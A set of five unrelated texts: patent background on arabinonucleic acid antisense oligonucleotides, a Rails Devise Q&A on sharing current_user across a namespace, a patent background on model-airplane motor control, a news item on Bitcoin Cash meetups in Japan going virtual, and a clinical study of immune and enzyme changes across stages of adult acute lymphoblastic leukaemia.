Specificity of action may be improved by developing novel oligonucleotide analogues. Current strategies to generate novel oligonucleotides are to alter the internucleotide phosphate backbone, the heterocyclic base, and the sugar ring, or a combination of these. Alteration or complete replacement of the internucleotide linkage has been the most popular approach, with over 60 types of modified phosphate backbones studied since 1994. Apart from the phosphorothioate backbone, only two others have been reported to activate RNaseH activity, i.e., the phosphorodithioate (PS2) and the boranophosphonate backbones. Because of the higher sulfur content of phosphorodithioate-linked (PS2) oligodeoxynucleotides, they appear to bind proteins tighter than the phosphorothioate (PS) oligomers, and to activate RNaseH mediated cleavage with reduced efficiency compared to the PS analogue. Boranophosphonate-linked oligodeoxynucleotides activate RNaseH mediated cleavage of RNA targets, but less well than PO- or PS-linked oligodeoxynucleotides.
Among the reported sugar-modified oligonucleotides most of them contain a five-membered ring, closely resembling the sugar of DNA (D-2-deoxyribose) and RNA (D-ribose). Example of these are α-oligodeoxynucleotide analogs, wherein the configuration of the 1′ (or anomeric) carbon has been inverted. These analogues are nuclease resistant, form stable duplexes with DNA and RNA sequences, and are capable of inhibiting β-globin mRNA translation via an RNaseH-independent antisense mechanism. Other examples are xylo-DNA, 2′-O-Me RNA and 2′-F RNA. These analogues form stable duplexes with RNA targets, however, these duplexes are not substrates for RNaseH. To overcome this limitation, mixed-backbone oligonucleotides (“MBO”) composed of either phosphodiester (PO) and phosphorothioate (PS) oligodeoxynucleotide segments flanked on both sides by sugar-modified oligonucleotide segments have been synthesized (Zhao, G. et al., Biochem. Pharmacol. 1996, 51, 173; Crooke, S. T. et al. J. Pharmacol. Exp. Ther. 1996, 277, 923). Among the MBOs most studied to date is the [2′-OMe RNA]-[PS DNA]-[2′OMe RNA] chimera The PS segment in the middle of the chain serves as the RNaseH activation domain, whereas the flanking 2′-OMe RNA regions increases affinity of the MBO strand for the target RNA. MBOs have increased stability in vivo, and appear to be more effective than phosphorothioate analogues in their biological activity both in vitro and in vivo. Examples of this approach incorporating 2′-OMe and other alkoxy substituents in the flanking regions of an oligonucleotide have been demonstrated by Monia et al. by enhanced antitumor activity in vivo (Monia, P. B. et al. Nature Med. 1996, 2, 668). Several pre-clinical trials with these analogues are ongoing.
The synthesis of oligonucleotides containing hexopyranoses instead of pentofuranose sugars has also been reported. A few of these analogues have increased enzymatic stability but generally suffer from a reduced duplex forming capability with the target sequence. A notable exception is 6′→4′ linked oligomers constructed from 1,5-anhydrohexitol units which, due to their highly pre-organized sugar structure, form very stable complexes with RNA. However, none of these hexopyranose oligonucleotide analogues have been shown to elicit RNaseH activity. Recently, oligonucleotides containing completely altered backbones have been synthesized. Notable examples are the peptide nucleic acids (“PNA”) with an acyclic backbone. These compounds have exceptional hybridization properties, and stability towards nucleases and proteases. However, efforts to use PNA oligomers as antisense constructs have been hampered by poor water solubility, self-aggregation properties, poor cellular uptake, and inability to activate RNaseH. Very recently, PNA-[PS-DNA]-PNA chimeras have been designed to maintain RNaseH mediated cleavage via the PS-DNA portion of the chimera.
Arabinonucleosides and Arabinonucleic Acids (ANA)
Arabinonucleosides are isomers of ribonucleosides, differing only in the stereochemistry at the 2′-position of the sugar ring. We have previously shown that antisense oligonucleotides constructed entirely from nucleotides comprising arabinose or modified arabinose (especially 2′-F arabinose) sugars are able to elicit RNaseH degradation of the complementary target RNA (Damha, M. J. et al. JACS 1998, 120, 12976; Noronha, A. M. et al. Biochemistry 2000, 39, 7050). We also noted that the thermal stability of duplexes consisting of an arabinose oligonucleotide with RNA was less than that of the analogous DNA/RNA duplex (Noronha, A. M. et al. Biochemistry 2000, 39, 7050). In contrast however, the thermal stability of duplexes consisting of an oligonucleotide synthesized with 2′-F arabinose nucleotides hybridized with RNA is generally greater than that of the analogous DNA/RNA duplex (Damha, M. J. et al. JACS 1998, 120, 12976). Giannaris and Damha found that replacement of the phosphodiester (PO) linkage in ANA oligonucleotides with phosphorothioate (PS) linkages significantly decreased the stability of the PS-ANA/PO-RNA duplex (Giannaris, P. A.; Damha, M. J. Can. J. Chem. 1994, 72, 909). This destabilization was greater than that observed when the PO linkages of an analogous DNA oligonucleotide were replaced with S internucleotide linkages (Giannaris, P. A.; Damha, M. J. Can. J. Chem. 1994, 72, 909).
Watanabe and co-workers incorporated 2′-deoxy-2′-fluoro-□-D-arabinofuranosylpyrimidine nucleosides (2′-F-ara-N, where N═C, U and T) at several positions within an oligonucleotide primarily comprised of a PO-DNA chain and evaluated the hybridization properties of such (2′-F)ANA-DNA “chimeras” towards complementary DNA (Kois, P. et al. Nucleosides & Nucleotides 1993, 12, 1093). Substitutions with 2′-F-araU and 2′-F-araC destabilized duplex stability compared to the all-DNA/RNA duplex, whereas substitutions with 2′-F-araT stabilized the duplex. Marquez and co-workers recently evaluated the self-association of a DNA strand in which two internal thymidines were replaced by 2′-F-araT's (Ikeda et al. Nucleic Acids Res. 1998, 26, 2237). They confirmed the findings of Watanabe and co-workers that internal 2′-F-araT residues stabilize significantly the DNA double helix. The association of these (2′-F)ANA-DNA “chimeras” with complementary RNA (the typical antisense target) was not reported.
Elicitation of Cellular RNaseH Degradation of Target RNA by Antisense Oligonucleotides
One of the most important mechanisms for antisense oligonucleotide directed inhibition of gene expression is the ability of these antisense oligonucleotides to form a structure, when duplexed with the target RNA, that can be recognized by cellular RNaseH. This enables the RNaseH-mediated degradation of the RNA target, within the region of the antisense oligonucleotide-RNA base-paired duplex (Monia et al. J. Biol. Chem. 1993, 268, 14514).
RNase H selectively degrades the RNA strand of a DNA/RNA heteroduplex. RNaseH1 from the bacterium Escherichia coli is the most readily available and the best characterized enzyme. Studies with eukaryotic cell extracts containing RNase H suggest that both prokaryotic and eukaryotic enzymes exhibit similar RNA-cleavage properties, although the bacterial enzyme is better able to cleave duplexes of small length (Monia et al. J. Biol. Chem. 1993, 268, 14514). E. coli RNaseH1 is thought to bind in the minor groove of the DNA/RNA double helix and to cleave the RNA by both endonuclease and processive 3′-to-5′ exonuclease activities. The efficiency of RNase H degradation displays minimal sequence dependence and is quite sensitive to chemical changes in the antisense oligonucleotide. For example, while RNaseH readily degrades RNA in S-DNA/RNA duplexes, it cannot do so in duplexes comprising methylphosphonate-DNA, α-DNA, or 2′-OMe RNA antisense oligonucleotides with RNA. Furthermore, while E. coli RNaseH binds to RNA/RNA duplexes, it cannot cleave either RNA strand, despite the fact that the global helical conformation of RNA/RNA duplexes is similar to that of DNA/RNA substrate duplexes (“A”-form helices). These results suggest that local structural differences between DNA/RNA (substrate) and RNA/RNA (substrate) duplexes contribute to substrate discrimination.
Arabinonucleic Acids as Activators of RNaseH Activity
An essential requirement in the antisense approach is that an oligonucleotide or its analogue recognize and bind tightly to its complementary target RNA. The ability of the resulting antisense oligonucleotide/RNA duplex to serve as a substrate of RNaseH is likely to have therapeutic value by enhancing the antisense effect relative to antisense oligonucleotides that are unable to activate this enzyme. Apart from PS-DNA (phosphorothioates), PS2-DNA (phosphorodithioates), boranophosphonate-linked DNA, and MBO oligos containing an internal PS-DNA segment, the only examples of fully modified oligonucleotides that elicit RNaseH activity are those constructed from arabinonucleotide (ANA) or modified arabinonucleotide residues (International Application published under No. WO 99/67378; Damha, M. J. et al. JACS 1998, 120, 12976; Noronha, A. M. et al. Biochemistry 2000, 39, 7050). These ANA oligonucleotides retain the natural β-D-furanose configuration and mimic the conformation of DNA strands (e.g., with sugars puckered in the C2′-endo conformation). The latter requirement stems from the fact that the antisense strand of natural substrates is DNA, and as indicated above, its primary structure (and/or conformation) appears to be essential for RNaseH/substrate cleavage; the DNA sugars of DNA/RNA hybrids adopt primarily the C2′-endo conformation. ANA is a stereoisomer of RNA differing only in the stereochemistry at the 2′-position of the sugar ring. ANA/RNA duplexes adopt a helical structure that is very similar to that of DNA/RNA substrates (“A”-form), as shown by similar circular dichroism spectra of these complexes (Damha, M. J. et al. JACS 1998, 120, 12976; Noronha, A. M. et al. Biochemistry 2000, 39, 7050).
Mixed-backbone or “Gapmer” Oligonucleotide Constructs as Antisense Oligonucleotides
Mixed-backbone oligonucleotides (MBO) composed of a phosphodiester or phosphorothioate oligodeoxynucleotide “gap” segment flanked at both the 5′- and 3′-ends by sugar-modified oligonucleotide “wing” segments have been synthesized (Zhao, G. et al., Biochem. Pharmacol. 1996, 51, 173; Crooke, S. T. et al. J. Pharmcol. Exp. Ther. 1996, 277, 923). Probably the most studied MBO to date is the [2′-OMe RNA]-[PS DNA]-[2′OMe RNA] chimera. Oligonucleotides comprised of 2′-OMe RNA alone bind with very high affinity to target RNA, but are unable to elicit RNaseH degradation of that target RNA. In [2′-OMe RNA]-[PS DNA]-[2′OMe RNA] chimera oligonucleotides, the PS-DNA segment in the middle of the chain serves to elicit RNaseH degradation of the target, whereas the flanking 2′-OMe RNA “wing” regions increase the affinity of the MBO strand for the target RNA. MBOs have increased stability in vivo, and appear to be more effective than same-sequence PS-DNA analogues in their biological activity both in vitro and in vivo. Examples of this approach incorporating 2′-OMe and other alkoxy substituents in the flanking regions of an oligonucleotide have been demonstrated by Monia et al. by enhanced antitumor activity in vivo (Monia, P. B. et al. Nature Med. 1996, 2, 668). Several pre-clinical trials with these analogues are ongoing.
Nonetheless, because 2′-OMe RNA cannot elicit RNaseH activity, the DNA gap size of the [2′-OMe RNA]-[PS DNA]-[2′OMe RNA] chimera oligonucleotides must be carefully defined While E. coli RNaseH can recognize and use 2′-OMe RNA MBO with DNA gaps as small as 4 DNA nucleotides (Shen, L. X. et al 1998 Biorg. Med. Chem. 6, 1695), the eukaryotic RNaseH (such as human RNaseH) requires substantially larger DNA gaps (7 DNA nucleotides or more) for optimal degradation activity (Monia, B. P. et al 1993 J. Biol. Chem. 268, 14514). In general, with [2′-OMe RNA]-[PS DNA]-[2′OMe RNA] chimera oligonucleotides, eukaryotic RNaseH-mediated target RNA cleavage efficiency decreases with decreasing DNA gap length, and becomes increasingly negligible with DNA gap sizes of less than 6 DNA nucleotides. Thus, antisense activity of [2′-OMe RNA]-[PS DNA]-[2′OMe RNA] chimera oligonucleotides is highly dependent on DNA gap size (Monia, B. P. et al 1993 J. Biol. Chem. 268, 14514; Agrawal, S. and Kandimalia, E. R 2000 Mol. Med. Today, 6, 72).
Recently, oligonucleotides containing completely altered backbones have been synthesized. Notable examples are the peptide nucleic acids (“PNA”) with an acyclic backbone. These compounds have exceptional hybridization properties, and stability towards nucleases and proteases. However, efforts to use PNA oligomers as antisense constructs have been hampered by poor water solubility, self-aggregation properties, poor cellular uptake, and inability to activate RNaseH. Very recently, PNA-[PS-DNA]-PNA chimeras have been designed to maintain RNaseH mediated cleavage via the PS-DNA portion of the chimera
It would be highly desirable to be provided with oligonucleotides constructed from arabinonucleotide or modified arabinonucleotide residues, flanking a series of deoxyribose nucleotide residues of variable length, for the sequence specific inhibition of gene expression via association to (and RNaseH mediated cleavage of) complementary messenger RNA. |
Q:
Devise and current_user issue when using namespace
On core website I use standard Devise configuration for user authentication. In routes.rb:
devise_for :users
Now, I have a namespace, lets call it "frame", being used for display some views via some controllers in small window (or iframe) on remote page.
I need to authenticate user inside the frame, therefore I nested devise_for declaration:
namespace :frame do
devise_for :users
resources :albums, :only => :show do
resources :photos, :only => [:new, :create, :show]
end
end
To make the whole thing work I needed to create proper controller:
class Frame::SessionsController < ::Devise::SessionsController
layout "frame"
end
And now I use the following path to display form:
new_frame_user_session_path
HOWEVER. When I logged in via frame, *current_user* is nil, and I have *current_frame_user* instead. It's bad, because the user logged in via core website (*current_user*) should be available via frame and reverse (in one browser).
Is there a little tweak to achive it or I should change the whole approach? Thank You for help.
A:
The solution was for me to change the log-in form in views/frame/sessions/new.html.haml.
Instead of:
= simple_form_for resource, :as => resource_name, :url => session_path(resource_name) do |f|
I needed to overwrite resource name:
= simple_form_for resource, :as => :user, :url => session_path(:user) do |f|
Now I am able to log-in within the frame and the user's session is coherent between the frame and the rest of the site.
|
1. Field of the Invention
This invention relates to a device for providing complete control of an electric motor in a remote, radio controlled moving device, such as a model airplane.
2. Description of the Related Art
With the advent of Ni-Cad batteries, model airplane builders found that they could use electric permanent magnet motors to power their aircraft instead of using conventional two-stroke gas engines. The gas engines provided ample power and thrust so that the weight of the remote control receiver, the receiver batteries, the servo controllers and various linkages did not pose a weight problem for flying the plane. Electric motors do not deliver as much thrust, and they require batteries. This combination makes saving weight in the aircraft an imperative goal if a reasonable flight envelope for the aircraft is to be achieved. If the receiver batteries, ON/OFF switch wiring harness, servo and micro-switch can be eliminated, significant weight savings can be realized which will lengthen flying time; increase the rate of climb; enable aerobatic maneuvers; extend the glide ratio and generally improve the flying performance of the plane. |
Bitcoin Cash Supporters in Japan to Conduct Virtual Meetups Amid Coronavirus Pandemic
Bitcoin Cash community in Japan has devised a way to avoid crowded places and take part in meetups across the country.
Sources available to CryptoTheNews note that Bitcoin Cash (BCH) meetup groups in Osaka and Tokyo will be allowing virtual participation in regularly scheduled events.
Though there are under 1000 reported cases of infection in Japan, companies and organizers in the country are beginning to use more decisive language in announcements to stop the spread of the disease. People, for instance, should work from home, reduce time on public transit, and avoid attending large gatherings.
The Tokyo Bitcoin Cash Meetup group initially had two meetings set up for March which had to be canceled due to the coronavirus outbreak. However, on March 17, BCH meetup organizer Akane Yokoo notified group members, dubbed “cashers” or “Bitcoiners” that the meetups will be conducted virtually:
“Our virtual meetups will start this coming Wednesday March 18th from 7:30pm and we plan to host every Wednesday at the same time when our physical meetups happen.”
Virtual meetings as well as in-person gatherings
Items such as toilet paper, masks and hand sanitizers are in high demand, which means that now it is harder to get them in Japan as it was before the coronavirus outbreak, meaning that it is difficult for those in at-risk groups to visit physical Bitcoin Cash meetups. However, for those who feel comfortable and take necessary precautions, Yokoo suggested that visiting meetings personally was also possible:
“Even though we do not want to encourage members to go out and get sick, members should be free to do whatever they choose to do. If they choose to get together physically, the merchants are open for business as usual.”
Events in Japan postponed or canceled due to the coronavirus
As more crypto companies suggest or order employees to work from home, blockchain and cryptocurrency conferences and meetings have also been taking similar actions to prevent the coronavirus from spreading.
Unfortunately, some events in Japan have failed to move online. The TEAMZ Blockchain Summit — the largest blockchain conference in Japan — was scheduled for April 22-23, but has been reset to September 28.
Public gathering for Tokyo’s cherry blossom season have been discouraged as well, with the flowers predicted to begin blooming next week. |
The frequency of acute lymphoblast leukaemia (ALL) in different countries has been reported to be 2-5 cases per 100 000 people a year[@CIT1][@CIT2]. Children often suffer from ALL, but among adults this form acute leukemia is seen in 10-15 per cent patients. Complete remission achived in 75-80 per cent adult patients, but only 30 per cent of them survive 5 years after the beginning the disease[@CIT1]--[@CIT3]. ALL in adults is severe and more malignant compared to children. Further, recurrence has poor prognosis than the previous one, and the appearance of recurrence decreases recovery[@CIT1][@CIT2][@CIT4]--[@CIT7].
Many investigations have been done on the clinical and medical aspects of these patients[@CIT2][@CIT3]. But pathogenic aspects of this disease are not well studied, particularly the immune mechanisms causing the development of complications and their role in the progression of ALL. It is known that functional activity of lymphocytes is determined by their population and subpopulation content and by the state of metabolic intracellular processes, which are responsible for necessary aspects[@CIT8]--[@CIT10]. we carried out this investigation to study the immune status and activity of enzymes in blood lymphocytes in adult patients with different ALL stages.
Material & Methods {#sec1-1}
==================
All consecutive patients with common variant of ALL who were admitted in Hematology department of Regional Clinical Hospital №1 Krasnoyarsk city, Russia, during 2000 to 2005, were included in the investigation. Prior to the sample being taken, informed consent was obtained from all subjects. The study protocol was approved by the Ethics Committee of Institute of Medical Problems of the North and by the Ethics Committee of Regional clinical hospital №1 Krasnoyarsk city. A total of 71 ALL male patients in age range 35-65 yr were included; 23 patients were in first attack, 26 patients were in the stage of complete remission after treatment using programme of cytostatic therapy and 22 patients were in recurrence. Normal healthy adults (n=106) of the same age group constituted the control group.
On admission the anamnesis was gathered and the complete clinic-laboratory investigation was performed in all patients to role their clinical signs. The severity of disease is an expression of clinical symptoms display. All patients had sternum puncture for percentage and amount cells determination, cytochemical estimation of enzymes and immune sternal punctuate phenotype after admission.
The patients were divided into 3 groups: patients in a stage of primary attack, patients in a stage of complete remission, and patients in a stage of repeated recurrence. In patients who were in a stage of complete remission, the blast quantity in sternum puncture was 1-3 per cent, it varied from 25 to 96 per cent in patients in a stage of primary attack and from 26 to 89 per cent in patients in a stage of repeated recurrence. All patients had the sternum puncture of bone brain to assess the quantitative parameters of cells, calculations were made on 1000 cells, percentage was defined. The patient treatment was made adequately under programme of cytostatic therapy. All laboratory blood tests for estimation of the immune status and activity of lymphocytes enzymes were done before starting treatment. The 5 per cent and less blast cells in sternum bone brain with its normal cells content, absence of leukaemia cells in spinal liquid were criteria of complete remission for ALL patients in our research[@CIT1][@CIT2]. Recurrence was diagnosed if \>25 per cent blast cells were determined in sternum bone brain in patients in remission. Blood (10-15 ml) was drawn from patients and lymphocytes were separated. The immune status in patients was determined by method of indirect immune fluorescence with use monoclonal antibodies to CD3, CD4, CD8, CD16, CD19, HLA-DR. Additionally we determined immune regulatory index (CD4^+^/CD8^+^) and index of T-lymphocytes activation (HLA-DR^+^/CD19^+^). Reagents were immunoglobulin A, M and G concentrations were calculated by immunoenzyme method. The state of humoral immunity also was estimated using indices of Ig A (Ig A/CD19^+^), Ig M (Ig M/CD19^+^), Ig G (Ig G/CD19^+^) synthesis. The test system Vector-Best from Russia was used[@CIT11].
The definition of activity of NAD (P)-dependent dehydrogenases was made by using bioluminescent method by earlier developed techniques[@CIT6]. Using this method, activities of enzymes: glucose-6-phosphate dehydrogenase (G6PDG, malic enzyme (NADPMDG), NAD- and NADH-dependent lactate dehydrogenase (LDG and NADH-LDG), NAD- and NADH-dependent malate dehydrogenase (MDG and NADH-MDG), NADP- and NADPH-dependent glutamate dehydrogenase (NADP-GDG and NADPH-GDG), NAD- and NADH-dependent glutamate dehydrogenase (NAD-GDG and NADH-GDG), NAD- and NAD-dependent isocitrate dehydrogenase (NAD-ICDG and NADP-ICDG), and glutathione reductase (GR) were studied. The activity of dehydrogenases in blood lymphocytes was calculated in enzyme units (1U=1mkmol/min^3^ on 10^4^ cells.
All data were presented as mean ± SEM. The data were not normally distributed; Mann-Whitney non-parametric test and Kruskal -- Wallis ANOVA were applied.
Results and Discussion {#sec1-2}
======================
At first attack of ALL the percentage and absolute content of lymphocytes in blood were higher, but percentage CD3^+^-cells amount was lower ([Table I](#T0001){ref-type="table"}). The patients in first attack showed an increase in absolute CD8^+^- and CD19^+^-lymphocytes content, and a decrease of absolute CD16^+^-level and the percentage and absolute HLA-DR^+^-cells content. Also these patients had high index of T-lymphocytes activation and small immune regulatory index.
######
Cellular immune status in patients with different stages of ALL
------------------------ --------------- --------------------------------------------------- -------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------
Indicators Control group Patient group
N=106 Attack N=23 Remission N=26 Recurrence N=22
Leukocytes, (10^9^/l) 6.40 ± 0.16 6.08 ± 0.83 5.79 ± 0.42 6.06 ± 0.20
Lymphocytes, (%) 38.5 ± 0.8 47.6 ± 6.2[\*\*](#T000F2){ref-type="table-fn"} 27.8 ± 2.3[\*\*\*](#T000F3){ref-type="table-fn"}[†††](#T000F6){ref-type="table-fn"} 42.2 ± 4.8[δδ](#T000F8){ref-type="table-fn"}
Lymphocytes, (10^9^/l) 2.27 ± 0.06 2.84 ± 0.42[\*](#T000F1){ref-type="table-fn"} 1.61 ± 0.16[\*\*\*](#T000F3){ref-type="table-fn"}[††](#T000F5){ref-type="table-fn"} 2.64 ± 0.23[\*](#T000F1){ref-type="table-fn"}[δδδ](#T000F9){ref-type="table-fn"}
CD3^+^, (%) 66.6 ± 0.6 57.5 ± 3.6[\*\*](#T000F2){ref-type="table-fn"} 56.6 ± 1.9[\*\*\*](#T000F3){ref-type="table-fn"} 58.9 ± 2.9[\*\*](#T000F2){ref-type="table-fn"}
CD3^+^, (10^9^/l) 1.48 ± 0.05 1.53 ± 0.25 0.85 ± 0.07[\*\*\*](#T000F3){ref-type="table-fn"}[†††](#T000F6){ref-type="table-fn"} 145 ± 0.19[δδ](#T000F8){ref-type="table-fn"}
CD4^+^, (%) 41.5 ± 0.8 33.4 ± 3.5[\*\*](#T000F2){ref-type="table-fn"} 34.9 ± 1.0[\*\*\*](#T000F3){ref-type="table-fn"} 44.5 ± 2.3[††](#T000F5){ref-type="table-fn"}[δδ](#T000F8){ref-type="table-fn"}
CD4^+^, (10^9^/l) 0.93 ± 0.04 0.98 ± 0.18 0.48 ± 0.06[\*\*\*](#T000F3){ref-type="table-fn"}[†](#T000F4){ref-type="table-fn"} 1.00 ± 0.07[δδδ](#T000F9){ref-type="table-fn"}
CD8^+^, (%) 26.6 ± 0.7 27.2 ± 2.5 21.8 ± 1.4[\*\*](#T000F2){ref-type="table-fn"} 28.0 ± 2.1[δδ](#T000F8){ref-type="table-fn"}
CD8^+^, (10^9^/l) 0.62 ± 0.02 1.19 ± 0.22[\*\*\*](#T000F3){ref-type="table-fn"} 0.25 ± 0.02[\*\*\*](#T000F3){ref-type="table-fn"} 0.73 ± 0.10[δδδ](#T000F9){ref-type="table-fn"}
CD16^+^, (%) 19.5 ± 0.5 17.5 ± 2.0 17.7 ± 2.4 24.1 ± 2.2[\*\*\*](#T000F3){ref-type="table-fn"}[†](#T000F4){ref-type="table-fn"}[δ](#T000F7){ref-type="table-fn"}
CD16^+^, (10^9^/l) 0.47 ± 0.02 0.38 ± 0.07[\*](#T000F1){ref-type="table-fn"} 0.31 ± 0.06[\*\*\*](#T000F3){ref-type="table-fn"} 0.57 ± 0.07[δδ](#T000F8){ref-type="table-fn"}
CD19^+^, (%) 12.5 ± 0.4 10.6 ± 1.8 10.9 ± 1.5 12.7 ± 1.9
CD19^+^, (10^9^/l) 0.28 ± 0.01 0.40 ± 0.09[\*](#T000F1){ref-type="table-fn"} 0.15 ± 0.02[\*\*\*](#T000F3){ref-type="table-fn"}[†††](#T000F6){ref-type="table-fn"} 0.21 ± 0.03[\*](#T000F1){ref-type="table-fn"}
HLA-DR^+^, (%) 15.9 ± 0.5 9.8 ± 1.2[\*\*\*](#T000F3){ref-type="table-fn"} 16.9 ± 2.2[†](#T000F4){ref-type="table-fn"} 25.8 ± 3.9[\*](#T000F1){ref-type="table-fn"}[δ](#T000F7){ref-type="table-fn"}[††](#T000F5){ref-type="table-fn"}
HLA-DR^+^, (10^9^/l) 0.37 ± 0.02 0.18 ± 0.02[\*\*\*](#T000F3){ref-type="table-fn"} 0.18 ± 0.02[\*\*\*](#T000F3){ref-type="table-fn"} 0.42 ± 0.07[††](#T000F5){ref-type="table-fn"}[δδ](#T000F8){ref-type="table-fn"}
HLA-DR^+^/CD19^+^ 1.23 ± 0.05 1.60 ± 0.09[\*\*](#T000F2){ref-type="table-fn"} 1.47 ± 0.12[\*](#T000F1){ref-type="table-fn"} 2.15 ± 0.17[\*\*\*](#T000F3){ref-type="table-fn"}[††](#T000F5){ref-type="table-fn"}[δδ](#T000F8){ref-type="table-fn"}
CD4^+^/CD8^+^ 1.51 ± 0.04 1.26 ± 0.08[\*](#T000F1){ref-type="table-fn"} 1.43 ± 0.07 1.73 ± 0.10[†††](#T000F6){ref-type="table-fn"}[δ](#T000F7){ref-type="table-fn"}
------------------------ --------------- --------------------------------------------------- -------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------
Values are mean ± SEM
*P*^\*^\<0.05
\<0.01
\<0.001 compared to control;
*P*^†^\<0.05
\<0.01
\<0.001 compared to attack value;
*P*^δ^\<0.05
\<0.01
\<0.001 compared to remission
In complete remission, the patients revealed a decrease in percentage and absolute content of lymphocytes, CD3^+^-, CD4^+^- and CD8^+^-cells. Also these patients had the low absolute CD16^+^-, CD19^+^- and HLA-DR^+^-lymphocytes content. In remission, index of T-lymphocytes activation was higher ([Table I](#T0001){ref-type="table"}).
In recurrence many indicators of cellular compartment of immune system became normal. For example, the absolute CD3^+^-, CD16^+^- and HLA-DR^+^-cells content, the percentage and the absolute CD4^+^- and CD8^+^-lymphocytes content were higher than remission and became normal. Also like in first attack, in complete remission the patients had the low percentage CD3^+^-lymphocytes level. The absolute CD19^+^cells content in these patients remained low relative to the control values. The percentage CD16+- and HLA-DR+-lymphocytes amount, index activation of T-lymphocytes in patients in recurrence were higher relative the values in attack, remission and became normal.
The indicators of humoral immunity also depended on stages of ALL ([Table II](#T0002){ref-type="table"}). In first attack Ig M and Ig G concentrations were higher, but indices of Ig A and Ig G synthesis were lower. In remission, low Ig G concentration was seen, there was increase in index of Ig A synthesis relative to the control and first attack values, and the increase of index of Ig G synthesis compared to the first attack values. In recurrence low Ig A and Ig M serum concentration and increase of serum Ig G content were seen. In this stage all indices of Ig A, Ig M and Ig G synthesis were lower ([Table II](#T0002){ref-type="table"}).
######
Humoral immune status in patients with different stages of ALL
------------------------- --------------- ----------------------------------------------------- --------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------
Indicators Control group Patient group
Control N=106 Attack N=23 Remission N=36 Recurrence N=22
Ig A, (g/l) 2.23 ± 0.08 1.88 ± 0.32 2.18 ± 0.39 0.92 ± 0.08[\*\*\*](#T000F12){ref-type="table-fn"}[†](#T000F13){ref-type="table-fn"}[δ](#T000F16){ref-type="table-fn"}
Ig M, (g/l) 1.20 ± 0.06 1.61 ± 0.23[\*](#T000F17){ref-type="table-fn"} 1.14 ± 0.16 0.58 ± 0.11[\*\*\*](#T000F12){ref-type="table-fn"}[†††](#T000F15){ref-type="table-fn"}[δδ](#T000F17){ref-type="table-fn"}
Ig G, (g/l) 10.94 ± 0.32 16.71 ± 2.81[\*\*](#T000F11){ref-type="table-fn"} 6.70 ± 0.50[\*\*\*](#T000F12){ref-type="table-fn"}[††](#T000F14){ref-type="table-fn"} 18.54 ± 3.53[\*\*](#T000F11){ref-type="table-fn"}[δδ](#T000F17){ref-type="table-fn"}
Ig A/CD19^+^, (ng/cell) 8.65 ± 0.71 3.63 ± 0.68[\*\*](#T000F11){ref-type="table-fn"} 14.73 ± 3.22[\*\*](#T000F11){ref-type="table-fn"}[††](#T000F14){ref-type="table-fn"} 2.42 ± 0.40[\*\*\*](#T000F12){ref-type="table-fn"}[δδδ](#T000F18){ref-type="table-fn"}
Ig M/CD19^+^, (ng/cell) 7.39 ± 0.78 4.50 ± 1.29 6.15 ± 1.04 0.88 ± 0.16[\*\*\*](#T000F12){ref-type="table-fn"}[†](#T000F13){ref-type="table-fn"}[δδδ](#T000F18){ref-type="table-fn"}
Ig G/CD19^+^, (ng/cell) 39.43 ± 2.33 18.36 ± 2.72[\*\*\*](#T000F12){ref-type="table-fn"} 42.10 ± 5.25[†††](#T000F15){ref-type="table-fn"} 21.01 ± 1.30[\*\*\*](#T000F12){ref-type="table-fn"}[δδδ](#T000F18){ref-type="table-fn"}
------------------------- --------------- ----------------------------------------------------- --------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------
Values are mean ± SEM
*P*\<0.05
\<0.01
\<0.001 compared to control;
*P*\<0.05
\<0.01
\<0.001 compared to attack value;
*P*\<0.05
\<0.01
\<0.001 compared to remission
At the first attack, there were decreased levels of T-lymphocytes, CD4^+^- and NK-cells content and immune regulatory index was low. At this stage there was decrease in HLA-DR^+^-cells. Using index of T-lymphocytes activation it was observed that these patients had the increasing active T-lymphocytes content.
The complete remission was characterized by severe disturbances of immune status in ALL patients. T-lymphocytes, regulatory fractions of T-lymphocytes, NK-cells and B-lymphocytes were lower in all patients. Immune regulatory index became normal as proportional of CD4+-cells and cytotoxic T-lymphocytes levels decreased. HLA-DR^+^-cells content in patients in remission was normal. Ig G concentration was low and B-cells function restored to normal.
In recurrence, T-lymphocytes levels were low but the content of regulatory T-lymphocytes fractions was normal. The peculiarity of this stage was the increasing NK-cells and HLA-DR^+^-lymphocytes content. Active T-lymphocytes level was high.
During first attack in blood lymphocytes there were significant decrease in levels of G6PDG ([Fig. 1 A](#F0001){ref-type="fig"}), NADPMDG ([Fig. 1 B](#F0001){ref-type="fig"}), NADPICDG ([Fig. 1 D](#F0001){ref-type="fig"}), GR ([Fig. 1 E](#F0001){ref-type="fig"}) and NADPH-GDG ([Fig. 1 F](#F0001){ref-type="fig"}) and a significant increase in level of NADPGDG ([Fig. 1 C](#F0001){ref-type="fig"}). In complete remission, NADPMDG, NADPICDG, and GR activities were low. Same time the G6PDG and NADPH-GDG activity were higher and became normal in these patients. The NADPGDG activity in blood lymphocytes in patients in ALL remission was low relative to the first attack and control values.
{#F0001}
In recurrence, like in first attack, the G6PDG and NADPH-GDG activities were lower. The NADPGDG activities was higher than control and remission (Fig. [1 A](#F0001){ref-type="fig"}, [F](#F0001){ref-type="fig"}). The NADPMDG activity became norm. The levels of NADPICDG and GR activities were higher relative to the first attack and remission values, but remained low relative to the control values. (Fig. [1 D](#F0001){ref-type="fig"}, [E](#F0001){ref-type="fig"})
In first attack G3PDG ([Fig. 2 A](#F0002){ref-type="fig"}), LDG ([Fig. 2 B](#F0002){ref-type="fig"}), MDG ([Fig. 2 C](#F0002){ref-type="fig"}), NADGDG ([Fig. 2 D](#F0002){ref-type="fig"}), NADICDG ([Fig. 2 E](#F0002){ref-type="fig"}) and NADH-GDG ([Fig. 2 F](#F0002){ref-type="fig"}) levels decreased compared to control. In remission, the MDG, NADGDG, NADICDG and NADH-GDG activities remained low relative to the control values. The LDG activity in blood lymphocytes became significantly low than in the first attack. G3PDG activity was restored to the control values. In recurrence, the MDG activity remained low relative to the control values. The G6PDG and NADH-GDG activities were significantly lower relative to the control, first attack and remission values. The activity of LDG in lymphocytes in recurrence was higher relative to the remission values and remained low relative to the first attack and control values. The activity of NADGDG in recurrence was higher relative to the all stages values. The NADICDG activity was a little higher to control indicators.
{#F0002}
